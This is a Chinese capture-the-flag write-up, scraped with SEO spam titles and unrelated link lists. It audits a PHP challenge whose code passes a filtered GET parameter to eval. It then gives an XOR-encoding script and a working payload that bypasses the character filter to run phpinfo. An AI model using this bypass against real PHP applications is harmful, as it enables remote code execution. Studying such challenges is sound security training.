当前位置: 首页 > wzjs >正文

做网站建设需要什么资质百度免费推广怎么做

做网站建设需要什么资质,百度免费推广怎么做,便宜的网站空间,各行各业网站建设服务周到进入靶场 代码审计 <?php // 定义函数get_the_flag&#xff0c;功能是处理文件上传相关操作 function get_the_flag() {// 注释说明&#xff1a;webadmin会每隔20分钟删除用户上传的文件$userdir "upload/tmp_" . md5($_SERVER[REMOTE_ADDR]);// 检查用户目录…

进入靶场

代码审计

<?php
// 定义函数get_the_flag,功能是处理文件上传相关操作
function get_the_flag() {// 注释说明:webadmin会每隔20分钟删除用户上传的文件$userdir = "upload/tmp_" . md5($_SERVER['REMOTE_ADDR']);// 检查用户目录是否存在,如果不存在则创建if (!file_exists($userdir)) {mkdir($userdir);}// 检查是否有文件上传if (!empty($_FILES["file"])) {$tmp_name = $_FILES["file"]["tmp_name"];  // 获取上传文件在服务器上的临时文件名$name = $_FILES["file"]["name"];  // 获取上传文件的原始文件名// 获取上传文件的扩展名$extension = substr($name, strrpos($name, ".") + 1);// 检查扩展名是否包含"ph"(不区分大小写),如果包含则终止脚本执行if (preg_match("/ph/i", $extension)) die("^_^");// 检查上传文件内容是否包含"<?", 如果包含则终止脚本执行if (mb_strpos(file_get_contents($tmp_name), '<?')!== False) die("^_^");// 检查上传文件是否是有效的图像类型,不是则终止脚本执行if (!exif_imagetype($tmp_name)) die("^_^");$path = $userdir. "/" . $name;  // 构建上传文件的目标路径// 尝试将上传文件从临时位置移动到目标位置@move_uploaded_file($tmp_name, $path);print_r($path);  // 打印文件的保存路径}
}// 从GET请求参数中获取名为"_"的参数值,并赋值给变量$hhh
$hhh = @$_GET['_'];// 如果$hhh没有值,高亮显示当前文件内容
if (!$hhh) {highlight_file(__FILE__);
}// 如果$hhh的长度大于18,终止脚本执行并输出提示信息
if (strlen($hhh) > 18) {die('One inch long, one inch strong!');
}// 使用正则表达式检查$hhh是否包含特定字符集(包括一些常见字符和控制字符等),如果包含则终止脚本执行
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh))die('Try something else!');// 获取$hhh中使用到的字符,并以字符形式返回
$character_type = count_chars($hhh, 3);
// 如果$character_type的长度大于12,终止脚本执行并输出提示信息
if (strlen($character_type) > 12) die("Almost there!");// 执行$hhh中的PHP代码,存在严重的代码执行漏洞风险
eval($hhh);
?>

 实现了文件上传功能,并对上传文件进行了一些限制和检查

条件好苛刻

<?php
// 初始化两个空字符串,用于存储生成的内容
$l = "";
$r = "";
// 将字符串_GET拆分成字符数组
$argv = str_split("_GET");
// 遍历字符数组中的每个字符
for ($i = 0; $i < count($argv); $i++) {// 遍历0到254的整数for ($j = 0; $j < 255; $j++) {// 将字符$j对应的ASCII码值与255进行按位异或操作,然后转换回字符$k = chr($j) ^ chr(255);// 如果异或结果与当前字符匹配if ($k == $argv[$i]) {// 如果$j小于16,在$r中添加十六进制表示时在前面补0if ($j < 16) {$l.= "%ff";$r.= "%0". dechex($j);continue;}$l.= "%ff";$r.= "%". dechex($j);continue;}}
}
// 输出包含$l、字符$和$r的字符串
echo "\{$l`$r\}";
?>

{%ff%ff%ff%ff`%a0%b8%ba%ab}

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 

flag{dc834348-3be9-4eff-abc1-150000430933} 

http://www.dtcms.com/wzjs/377205.html

相关文章:

  • 网站背景怎么弄广告投放的方式有哪些
  • 沈阳网站建设工作室电脑培训学校
  • 网站建设ppt演示文稿神马搜索seo优化排名
  • 深圳通公司网站网络营销推广有哪些方法
  • 建站工具cms网站备案查询官网
  • 做动效的网站苏州seo排名优化课程
  • 网站制作企业平台推广员是做什么的
  • 网站建设方案论文seo链接优化
  • 上海网站建设市场查询网站注册信息
  • web前端作业网页制作代码做seo需要哪些知识
  • 可以看国外网站的dns国际时事新闻2022最新
  • 网站首页横版图怎么做怎样在网上做宣传
  • 中英文微信网站开发seo公司怎样找客户
  • 网站汉英结合的怎么做做游戏推广怎么找客户
  • 襄樊做网站太原seo报价
  • 有口碑的盐城网站开发百度秒收录软件工具
  • 上海建设工程施工许可证查询网站四川餐饮培训学校排名
  • 登封做网站优化百度文库网页版
  • 西安市政府官方网站seocms
  • 济阳网站建设公司搜索网站大全排名
  • 什么网页可以做网站百度一下官网首页
  • 做蛋糕视频的网站深圳最新政策消息
  • 网页制作免费网站建设济南网站制作
  • 麻城seo郑州百度网站优化排名
  • 做3d动画视频接私活的网站对网站的建议和优化
  • 网站客服系统交互设计友情链接翻译
  • 网站备案号码查询常见的网站推广方法
  • 资源网站建设可以免费发广告的网站有哪些
  • 华安网站建设公司网站策划宣传
  • 女人和男人做爰网站谷歌 翻墙入口